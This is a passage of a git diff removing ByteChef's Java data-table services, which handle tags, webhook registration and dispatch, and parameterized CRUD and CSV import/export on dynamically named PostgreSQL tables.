-            String name = rs.getString("column_name");
-            String dataType = rs.getString("data_type");
-
-            return new ColumnSpec(name, mapType(dataType));
-        });
-    }
-
-    private ColumnType mapType(String pgType) {
-        String lowerCaseType = pgType.toLowerCase(Locale.ROOT);
-
-        if (lowerCaseType.startsWith("timestamp")) {
-            return ColumnType.DATE_TIME;
-        }
-
-        if (lowerCaseType.equals("boolean") || lowerCaseType.equals("bool")) {
-            return ColumnType.BOOLEAN;
-        }
-
-        switch (lowerCaseType) {
-            case "integer", "int4", "smallint", "int2", "bigint", "int8", "serial", "bigserial" -> {
-                return ColumnType.INTEGER;
-            }
-            case "numeric", "decimal", "double precision", "real" -> {
-                return ColumnType.NUMBER;
-            }
-            case "date" -> {
-                return ColumnType.DATE;
-            }
-            default -> {
-                return ColumnType.STRING;
-            }
-        }
-    }
-
-    private String sqlType(ColumnType type) {
-        return switch (type) {
-            case STRING -> "VARCHAR(255)";
-            case NUMBER -> "DECIMAL(38,9)";
-            case INTEGER -> "INTEGER";
-            case DATE -> "DATE";
-            case DATE_TIME -> "TIMESTAMP";
-            case BOOLEAN -> "BOOLEAN";
-        };
-    }
-
-    private void validateBaseName(String baseName) {
-        Assert.hasText(baseName, "baseName must not be empty");
-
-        String normalized = baseName.toLowerCase(Locale.ROOT);
-
-        Assert.isTrue(!normalized.startsWith("dt_"), "baseName must not start with 'dt_'");
-        Assert.isTrue(normalized.matches("[a-z_][a-z0-9_]*"), "Invalid base name: " + baseName);
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableTagServiceImpl.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableTagServiceImpl.java
deleted file mode 100644
index ae457f1afa3..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableTagServiceImpl.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.service;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTable;
-import com.bytechef.automation.data.table.configuration.repository.DataTableRepository;
-import com.bytechef.platform.tag.domain.Tag;
-import com.bytechef.platform.tag.service.TagService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.stream.Collectors;
-import org.springframework.stereotype.Service;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-public class DataTableTagServiceImpl implements DataTableTagService {
-
-    private final DataTableRepository dataTableRepository;
-    private final TagService tagService;
-
-    @SuppressFBWarnings("EI")
-    public DataTableTagServiceImpl(DataTableRepository dataTableRepository, TagService tagService) {
-        this.dataTableRepository = dataTableRepository;
-        this.tagService = tagService;
-    }
-
-    @Override
-    public List<Tag> getAllTags() {
-        Set<Long> ids = new HashSet<>();
-
-        for (DataTable dataTable : dataTableRepository.findAll()) {
-            List<Long> tagIds = dataTable.getTagIds();
-
-            if (tagIds != null) {
-                ids.addAll(tagIds);
-            }
-        }
-
-        if (ids.isEmpty()) {
-            return List.of();
-        }
-
-        return tagService.getTags(new ArrayList<>(ids));
-    }
-
-    @Override
-    public Map<String, List<Tag>> getTagsByTableName() {
-        Map<String, List<Tag>> map = new HashMap<>();
-
-        List<DataTable> dataTables = new ArrayList<>();
-
-        dataTableRepository.findAll()
-            .forEach(dataTables::add);
-
-        Map<String, List<Long>> idsByName = dataTables.stream()
-            .collect(Collectors.toMap(
-                DataTable::getName,
-                dataTable -> dataTable.getTagIds() == null ? List.of() : dataTable.getTagIds()));
-
-        for (Map.Entry<String, List<Long>> entry : idsByName.entrySet()) {
-            List<Long> ids = entry.getValue();
-
-            map.put(entry.getKey(), ids == null || ids.isEmpty() ? List.of() : tagService.getTags(ids));
-        }
-
-        return map;
-    }
-
-    @Override
-    public void updateTags(long tableId, List<Tag> tags) {
-        DataTable dataTable = dataTableRepository.findById(tableId)
-            .orElseThrow(() -> new IllegalArgumentException("Data table with id=" + tableId + " not found"));
-
-        List<Tag> resolvedTags;
-
-        if (tags == null || tags.isEmpty()) {
-            resolvedTags = List.of();
-        } else {
-            List<Tag> tagsToSave = tags.stream()
-                .filter(t -> t.getId() == null)
-                .toList();
-
-            if (!tagsToSave.isEmpty()) {
-                List<Tag> savedTags = tagService.save(tagsToSave);
-
-                List<Tag> withIds = new ArrayList<>(tags);
-                int index = 0;
-
-                for (int i = 0; i < withIds.size(); i++) {
-                    Tag tag = withIds.get(i);
-
-                    if (tag.getId() == null) {
-                        withIds.set(i, savedTags.get(index++));
-                    }
-                }
-
-                resolvedTags = withIds;
-            } else {
-                resolvedTags = tags;
-            }
-        }
-
-        dataTable.setTags(resolvedTags);
-
-        dataTableRepository.save(dataTable);
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableWebhookServiceImpl.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableWebhookServiceImpl.java
deleted file mode 100644
index 8f43b44f579..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableWebhookServiceImpl.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.service;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTable;
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhook;
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import com.bytechef.automation.data.table.configuration.repository.DataTableRepository;
-import com.bytechef.automation.data.table.configuration.repository.DataTableWebhookRepository;
-import com.bytechef.platform.configuration.domain.Environment;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Optional;
-import org.springframework.stereotype.Service;
-
-/**
- * Implementation of the {@link DataTableWebhookService} that provides functionality for managing webhooks associated
- * with data tables. This service interacts with the data table and webhook repositories to facilitate the addition,
- * retrieval, and removal of webhooks.
- *
- * @author Ivica Cardic
- */
-@Service
-public class DataTableWebhookServiceImpl implements DataTableWebhookService {
-
-    private final DataTableRepository dataTableRepository;
-    private final DataTableWebhookRepository webhookRepository;
-
-    @SuppressFBWarnings("EI")
-    public DataTableWebhookServiceImpl(
-        DataTableRepository dataTableRepository, DataTableWebhookRepository webhookRepository) {
-
-        this.dataTableRepository = dataTableRepository;
-        this.webhookRepository = webhookRepository;
-    }
-
-    @Override
-    public long addWebhook(String baseName, String url, DataTableWebhookType type, long environmentId) {
-        Optional<DataTable> dataTableOptional = dataTableRepository.findByName(baseName);
-
-        DataTable table = dataTableOptional.orElseThrow(
-            () -> new IllegalArgumentException("Table not found: " + baseName));
-
-        DataTableWebhook dataTableWebhook = new DataTableWebhook();
-
-        dataTableWebhook.setDataTableId(table.getId());
-        dataTableWebhook.setType(type);
-        dataTableWebhook.setUrl(url);
-        dataTableWebhook.setEnvironment(Environment.values()[(int) environmentId]);
-
-        DataTableWebhook savedDataTableHook = webhookRepository.save(dataTableWebhook);
-
-        return savedDataTableHook.getId();
-    }
-
-    @Override
-    public List<Webhook> listWebhooks(String baseName, long environmentId) {
-        Optional<DataTable> dataTableOptional = dataTableRepository.findByName(baseName);
-
-        if (dataTableOptional.isEmpty()) {
-            return List.of();
-        }
-
-        DataTable dataTable = dataTableOptional.get();
-
-        Environment environment = Environment.values()[(int) environmentId];
-
-        List<DataTableWebhook> dataTableWebhooks = webhookRepository.findByDataTableIdAndEnvironment(
-            dataTable.getId(), environment.ordinal());
-
-        List<Webhook> webhooks = new ArrayList<>(dataTableWebhooks.size());
-
-        for (DataTableWebhook dataTableWebhook : dataTableWebhooks) {
-            webhooks.add(new Webhook(
-                dataTableWebhook.getId(), dataTableWebhook.getDataTableId(), dataTableWebhook.getUrl(),
-                dataTableWebhook.getType(), dataTableWebhook.getEnvironment()
-                    .ordinal()));
-        }
-
-        return webhooks;
-    }
-
-    @Override
-    public void removeWebhook(long id) {
-        webhookRepository.deleteById(id);
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/execution/listener/DataTableWebhookEventListener.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/execution/listener/DataTableWebhookEventListener.java
deleted file mode 100644
index 36b40f6514e..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/execution/listener/DataTableWebhookEventListener.java
+++ /dev/null
@@ -1,112 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.execution.listener;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import com.bytechef.automation.data.table.configuration.service.DataTableWebhookService;
-import com.bytechef.automation.data.table.execution.event.DataTableWebhookEvent;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import java.util.List;
-import java.util.Map;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.context.event.EventListener;
-import org.springframework.core.retry.RetryException;
-import org.springframework.core.retry.RetryPolicy;
-import org.springframework.core.retry.RetryTemplate;
-import org.springframework.scheduling.annotation.Async;
-import org.springframework.stereotype.Component;
-import org.springframework.util.backoff.ExponentialBackOff;
-import org.springframework.web.client.RestTemplate;
-
-/**
- * Listener class for processing and handling {@link DataTableWebhookEvent} events asynchronously. This class responds
- * to webhook events associated with data table operations and invokes the appropriate webhooks for external system
- * notifications. <br>
- * The event listener fetches registered webhooks from the {@link DataTableWebhookService} for the given event's data
- * table and webhook type, and then executes HTTP POST requests to the retrieved webhook URLs with the event payload and
- * metadata.
- *
- * @author Ivica Cardic
- */
-@Component
-public class DataTableWebhookEventListener {
-
-    private static final Logger logger = LoggerFactory.getLogger(DataTableWebhookEventListener.class);
-
-    private final DataTableWebhookService dataTableWebhookService;
-    private final RestTemplate restTemplate = new RestTemplate();
-
-    @SuppressFBWarnings("EI")
-    public DataTableWebhookEventListener(DataTableWebhookService dataTableWebhookService) {
-        this.dataTableWebhookService = dataTableWebhookService;
-    }
-
-    @EventListener
-    @Async
-    public void onDataTableWebhookEvent(DataTableWebhookEvent event) {
-        String baseName = event.getBaseName();
-        long environmentId = event.getEnvironmentId();
-        DataTableWebhookType type = event.getType();
-        Map<String, Object> payload = event.getPayload();
-
-        List<DataTableWebhookService.Webhook> hooks = dataTableWebhookService.listWebhooks(baseName, environmentId)
-            .stream()
-            .filter(webhook -> webhook.type() == type)
-            .toList();
-
-        if (hooks.isEmpty()) {
-            return;
-        }
-
-        RetryTemplate retryTemplate = createRetryTemplate();
-
-        for (DataTableWebhookService.Webhook hook : hooks) {
-
-            Map<String, Object> body = new java.util.HashMap<>();
-
-            body.put("type", type.name());
-            body.put("table", baseName);
-            body.put("timestamp", String.valueOf(Instant.now()));
-            body.put("payload", payload);
-
-            try {
-                retryTemplate.execute(() -> {
-                    if (logger.isDebugEnabled()) {
-                        logger.debug("Calling data table webhook {} -> {}", hook.url(), body);
-                    }
-
-                    return restTemplate.postForObject(hook.url(), body, String.class);
-                });
-            } catch (RetryException e) {
-                throw new RuntimeException(e);
-            }
-        }
-    }
-
-    private RetryTemplate createRetryTemplate() {
-        ExponentialBackOff backOff = new ExponentialBackOff(2000, 2.0);
-
-        backOff.setMaxElapsedTime(60000);
-
-        return new RetryTemplate(
-            RetryPolicy.builder()
-                .backOff(backOff)
-                .build());
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/execution/service/DataTableRowServiceImpl.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/execution/service/DataTableRowServiceImpl.java
deleted file mode 100644
index 64cc407ff82..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/execution/service/DataTableRowServiceImpl.java
+++ /dev/null
@@ -1,743 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.execution.service;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import com.bytechef.automation.data.table.domain.ColumnSpec;
-import com.bytechef.automation.data.table.domain.ColumnType;
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import com.bytechef.automation.data.table.execution.event.DataTableWebhookEvent;
-import de.siegmar.fastcsv.reader.CsvReader;
-import de.siegmar.fastcsv.reader.CsvRow;
-import de.siegmar.fastcsv.writer.CsvWriter;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.IOException;
-import java.io.StringReader;
-import java.io.StringWriter;
-import java.math.BigDecimal;
-import java.sql.PreparedStatement;
-import java.sql.SQLException;
-import java.sql.Timestamp;
-import java.sql.Types;
-import java.util.ArrayList;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Locale;
-import java.util.Map;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-import org.apache.commons.lang3.StringUtils;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.context.ApplicationEventPublisher;
-import org.springframework.jdbc.core.JdbcTemplate;
-import org.springframework.stereotype.Service;
-import org.springframework.util.Assert;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-public class DataTableRowServiceImpl implements DataTableRowService {
-
-    private static final Logger LOGGER = LoggerFactory.getLogger(DataTableRowServiceImpl.class);
-
-    private final ApplicationEventPublisher applicationEventPublisher;
-    private final JdbcTemplate jdbcTemplate;
-
-    @SuppressFBWarnings("EI")
-    public DataTableRowServiceImpl(ApplicationEventPublisher applicationEventPublisher, JdbcTemplate jdbcTemplate) {
-        this.applicationEventPublisher = applicationEventPublisher;
-        this.jdbcTemplate = jdbcTemplate;
-    }
-
-    /**
-     * Deletes a row from a data table by ID.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public boolean deleteRow(String baseName, long id, long environmentId) {
-        validateBaseName(baseName);
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        checkHasId(physicalName);
-
-        String sql = "DELETE FROM " + escapeIdentifier(physicalName) + " WHERE \"id\" = ?";
-
-        int count = jdbcTemplate.update(sql, ps -> ps.setLong(1, id));
-
-        if (count > 0) {
-            Map<String, Object> payload = new HashMap<>();
-
-            payload.put("id", id);
-
-            applicationEventPublisher.publishEvent(
-                new DataTableWebhookEvent(baseName, DataTableWebhookType.RECORD_DELETED, payload, environmentId));
-
-            return true;
-        }
-
-        return false;
-    }
-
-    /**
-     * Gets a single row from a data table by ID.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public DataTableRow getRow(String baseName, long id, long environmentId) {
-        validateBaseName(baseName);
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        checkHasId(physicalName);
-
-        List<String> columnNames = listColumns(physicalName).stream()
-            .map(ColumnSpec::name)
-            .filter(name -> !"id".equalsIgnoreCase(name))
-            .toList();
-
-        String selectColumns = "\"id\"" + (columnNames.isEmpty() ? "" : ", " + columnNames.stream()
-            .map(this::escapeIdentifier)
-            .collect(Collectors.joining(", ")));
-
-        String sql = "SELECT " + selectColumns + " FROM " + escapeIdentifier(physicalName) + " WHERE \"id\" = ?";
-
-        List<DataTableRow> rows = jdbcTemplate.query(sql, ps -> ps.setLong(1, id), (resultSet, rowNum) -> {
-            long rowId = resultSet.getLong("id");
-            Map<String, Object> values = new HashMap<>();
-
-            for (String columnName : columnNames) {
-                values.put(columnName, resultSet.getObject(columnName));
-            }
-
-            return new DataTableRow(rowId, values);
-        });
-
-        return rows.isEmpty() ? null : rows.getFirst();
-    }
-
-    @Override
-    public String exportCsv(String baseName, long environmentId) {
-        validateBaseName(baseName);
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        checkHasId(physicalName);
-
-        List<ColumnSpec> columnSpecs = listColumns(physicalName);
-        List<String> columnNames = columnSpecs.stream()
-            .map(ColumnSpec::name)
-            .filter(n -> !"id".equalsIgnoreCase(n))
-            .toList();
-
-        StringWriter stringWriter = new StringWriter();
-
-        CsvWriter csvWriter = CsvWriter.builder()
-            .build(stringWriter);
-
-        // Header
-        csvWriter.writeRow(columnNames);
-
-        List<DataTableRow> dataTableRows = listRows(baseName, Integer.MAX_VALUE, 0, environmentId);
-
-        for (DataTableRow dataTableRow : dataTableRows) {
-            List<String> curValues = new ArrayList<>();
-
-            for (String columnName : columnNames) {
-                Map<String, Object> values = dataTableRow.values();
-
-                Object value = values.get(columnName);
-
-                curValues.add(value == null ? "" : String.valueOf(value));
-            }
-
-            csvWriter.writeRow(curValues);
-        }
-
-        try {
-            csvWriter.close();
-        } catch (IOException exception) {
-            if (LOGGER.isTraceEnabled()) {
-                LOGGER.trace(exception.getMessage());
-            }
-        }
-
-        return stringWriter.toString();
-    }
-
-    @Override
-    public void importCsv(String baseName, String csv, long environmentId) {
-        validateBaseName(baseName);
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        checkHasId(physicalName);
-
-        if (csv == null) {
-            return;
-        }
-
-        List<ColumnSpec> columnSpecs = listColumns(physicalName);
-
-        List<String> columnNames = columnSpecs.stream()
-            .map(ColumnSpec::name)
-            .toList();
-
-        CsvReader.CsvReaderBuilder csvReaderBuilder = CsvReader.builder();
-
-        try (CsvReader csvReader = csvReaderBuilder.build(new StringReader(csv))) {
-            List<String> headers = null;
-            List<String> mappedColumnNames = null;
-
-            for (CsvRow csvRow : csvReader) {
-                List<String> fields = csvRow.getFields();
-
-                Stream<String> fieldStream = fields.stream();
-
-                if (headers == null) {
-                    headers = fieldStream.map(s -> s == null ? "" : s.trim())
-                        .toList();
-
-                    // Build mapping from file index -> actual column name (skip unknown and id)
-                    mappedColumnNames = new ArrayList<>(headers.size());
-
-                    for (String header : headers) {
-                        if (header.equalsIgnoreCase("id")) {
-                            mappedColumnNames.add(null);
-
-                            continue;
-                        }
-
-                        String columnName = columnNames.stream()
-                            .filter(curColumnName -> curColumnName.equalsIgnoreCase(header))
-                            .findFirst()
-                            .orElse(null);
-
-                        mappedColumnNames.add(columnName);
-                    }
-
-                    continue;
-                }
-
-                if (fieldStream.allMatch(field -> field == null || field.isBlank())) {
-                    continue;
-                }
-
-                Map<String, Object> values = new HashMap<>();
-
-                int limit = Math.min(mappedColumnNames.size(), fields.size());
-
-                for (int col = 0; col < limit; col++) {
-                    String curColumnName = mappedColumnNames.get(col);
-
-                    if (curColumnName == null) {
-                        continue;
-                    }
-
-                    String field = fields.get(col);
-
-                    values.put(curColumnName, (field == null || field.isEmpty()) ? null : field);
-                }
-
-                insertRow(baseName, values, environmentId);
-            }
-        } catch (IOException exception) {
-            throw new RuntimeException("Failed to import CSV", exception);
-        }
-    }
-
-    /**
-     * Inserts a new row into a data table.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection. User-provided row values use parameterized queries.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public DataTableRow insertRow(String baseName, Map<String, Object> values, long environmentId) {
-        validateBaseName(baseName);
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        checkHasId(physicalName);
-
-        List<String> allColumnNames = listColumns(physicalName).stream()
-            .map(ColumnSpec::name)
-            .toList();
-
-        List<String> insertableColumnNames = values.keySet()
-            .stream()
-            .filter(columnName -> allColumnNames.stream()
-                .anyMatch(column -> column.equalsIgnoreCase(columnName)))
-            .filter(k -> !"id".equalsIgnoreCase(k))
-            .map(columnName -> allColumnNames.stream()
-                .filter(c -> c.equalsIgnoreCase(columnName))
-                .findFirst()
-                .orElse(columnName))
-            .toList();
-
-        String columnsClause = insertableColumnNames.stream()
-            .map(this::escapeIdentifier)
-            .collect(Collectors.joining(", "));
-        String placeholders = insertableColumnNames.stream()
-            .map(k -> "?")
-            .collect(Collectors.joining(", "));
-
-        List<String> returningColumnNames = new ArrayList<>();
-
-        returningColumnNames.add("id");
-        returningColumnNames.addAll(allColumnNames.stream()
-            .filter(columnName -> !"id".equalsIgnoreCase(columnName))
-            .toList());
-
-        String returningClause = returningColumnNames.stream()
-            .map(this::escapeIdentifier)
-            .collect(Collectors.joining(", "));
-
-        String valuesClause = insertableColumnNames.isEmpty()
-            ? " DEFAULT VALUES" : (" (" + columnsClause + ") VALUES (" + placeholders + ")");
-
-        String sql =
-            "INSERT INTO " + escapeIdentifier(physicalName) + valuesClause + " RETURNING " + returningClause;
-
-        Map<String, ColumnType> typeMap = columnTypeMap(physicalName);
-
-        DataTableRow result = jdbcTemplate.query(sql, ps -> {
-            int i = 1;
-
-            for (String columnName : insertableColumnNames) {
-                ColumnType columnType = typeMap.getOrDefault(columnName.toLowerCase(Locale.ROOT), ColumnType.STRING);
-                Object rawValue = getValueCaseInsensitive(values, columnName);
-
-                Object coercedValue = coerceValue(columnType, rawValue);
-
-                setParam(ps, i++, columnType, coercedValue);
-            }
-        }, resultSet -> {
-            if (resultSet.next()) {
-                long id = resultSet.getLong("id");
-                Map<String, Object> map = new HashMap<>();
-
-                for (String columnName : returningColumnNames) {
-                    if (!"id".equalsIgnoreCase(columnName)) {
-                        map.put(columnName, resultSet.getObject(columnName));
-                    }
-                }
-
-                return new DataTableRow(id, map);
-            }
-            throw new IllegalStateException("Failed to insert row");
-        });
-
-        // Dispatch event for webhooks
-        Map<String, Object> payload = new HashMap<>();
-
-        payload.put("id", result.id());
-        payload.put("values", result.values());
-
-        applicationEventPublisher.publishEvent(
-            new DataTableWebhookEvent(baseName, DataTableWebhookType.RECORD_CREATED, payload, environmentId));
-
-        return result;
-    }
-
-    /**
-     * Lists rows from a data table with pagination.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection. LIMIT/OFFSET values are parameterized.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public List<DataTableRow> listRows(String baseName, int limit, int offset, long environmentId) {
-        validateBaseName(baseName);
-
-        String buildPhysicalName = buildPhysicalName(environmentId, baseName);
-
-        checkHasId(buildPhysicalName);
-
-        List<String> columnNames = listColumns(buildPhysicalName).stream()
-            .map(ColumnSpec::name)
-            .filter(n -> !"id".equalsIgnoreCase(n))
-            .toList();
-
-        String selectColumns = "\"id\"" + (columnNames.isEmpty() ? "" : ", " + columnNames.stream()
-            .map(this::escapeIdentifier)
-            .collect(Collectors.joining(", ")));
-
-        String sql =
-            "SELECT " + selectColumns + " FROM " + escapeIdentifier(buildPhysicalName) +
-                " ORDER BY \"id\" LIMIT ? OFFSET ?";
-
-        return jdbcTemplate.query(sql, ps -> {
-            ps.setInt(1, Math.max(0, limit));
-            ps.setInt(2, Math.max(0, offset));
-        }, (rs, rowNum) -> {
-            long id = rs.getLong("id");
-            Map<String, Object> values = new HashMap<>();
-
-            for (String column : columnNames) {
-                values.put(column, rs.getObject(column));
-            }
-
-            return new DataTableRow(id, values);
-        });
-    }
-
-    /**
-     * Updates an existing row in a data table.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection. User-provided row values use parameterized queries.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public DataTableRow updateRow(String baseName, long id, Map<String, Object> values, long environmentId) {
-        validateBaseName(baseName);
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        checkHasId(physicalName);
-
-        List<String> allColumnNames = listColumns(physicalName).stream()
-            .map(ColumnSpec::name)
-            .toList();
-
-        List<String> updatableColumnNames = values.keySet()
-            .stream()
-            .filter(columnName -> allColumnNames.stream()
-                .anyMatch(column -> column.equalsIgnoreCase(columnName)))
-            .filter(k -> !"id".equalsIgnoreCase(k))
-            .map(columnName -> allColumnNames.stream()
-                .filter(c -> c.equalsIgnoreCase(columnName))
-                .findFirst()
-                .orElse(columnName))
-            .toList();
-
-        if (updatableColumnNames.isEmpty()) {
-            // nothing to update, return current row
-            List<DataTableRow> dataTableRows = listRows(baseName, 1, 0, environmentId).stream()
-                .filter(dataTableRow -> dataTableRow.id() == id)
-                .toList();
-
-            if (!dataTableRows.isEmpty()) {
-                return dataTableRows.getFirst();
-            }
-
-            throw new IllegalArgumentException("Row not found: id=" + id);
-        }
-
-        String setClause = updatableColumnNames.stream()
-            .map(c -> escapeIdentifier(c) + " = ?")
-            .collect(Collectors.joining(", "));
-
-        List<String> returningColumnNames = new ArrayList<>();
-
-        returningColumnNames.add("id");
-        returningColumnNames.addAll(allColumnNames.stream()
-            .filter(c -> !"id".equalsIgnoreCase(c))
-            .toList());
-
-        String returningClause = returningColumnNames.stream()
-            .map(this::escapeIdentifier)
-            .collect(Collectors.joining(", "));
-
-        String sql =
-            "UPDATE " + escapeIdentifier(physicalName) + " SET " + setClause + " WHERE \"id\" = ? RETURNING " +
-                returningClause;
-
-        Map<String, ColumnType> columnTypeMap = columnTypeMap(physicalName);
-
-        DataTableRow updatedDataTableRow = jdbcTemplate.query(sql, ps -> {
-            int i = 1;
-
-            for (String columnName : updatableColumnNames) {
-                ColumnType columnType = columnTypeMap.getOrDefault(
-                    columnName.toLowerCase(Locale.ROOT), ColumnType.STRING);
-
-                Object rawValue = getValueCaseInsensitive(values, columnName);
-
-                Object coercedValue = coerceValue(columnType, rawValue);
-
-                setParam(ps, i++, columnType, coercedValue);
-            }
-
-            ps.setLong(i, id);
-        }, rs -> {
-            if (rs.next()) {
-                long curId = rs.getLong("id");
-                Map<String, Object> map = new HashMap<>();
-
-                for (String columnName : returningColumnNames) {
-                    if (!"id".equalsIgnoreCase(columnName)) {
-                        map.put(columnName, rs.getObject(columnName));
-                    }
-                }
-
-                return new DataTableRow(curId, map);
-            }
-
-            throw new IllegalArgumentException("Row not found: id=" + id);
-        });
-
-        Map<String, Object> payload = new HashMap<>();
-
-        payload.put("id", updatedDataTableRow.id());
-        payload.put("values", updatedDataTableRow.values());
-
-        applicationEventPublisher.publishEvent(
-            new DataTableWebhookEvent(baseName, DataTableWebhookType.RECORD_UPDATED, payload, environmentId));
-
-        return updatedDataTableRow;
-    }
-
-    private void validateBaseName(String baseName) {
-        Assert.hasText(baseName, "baseName must not be empty");
-
-        String normalizedName = baseName.toLowerCase(Locale.ROOT);
-
-        Assert.isTrue(!normalizedName.startsWith("dt_"), "baseName must not start with 'dt_'");
-        Assert.isTrue(normalizedName.matches("[a-z_][a-z0-9_]*"), "Invalid base name: " + baseName);
-    }
-
-    private String buildPhysicalName(long environmentId, String baseName) {
-        String normalizedName = baseName.toLowerCase(Locale.ROOT);
-
-        return "dt_" + environmentId + "_" + normalizedName;
-    }
-
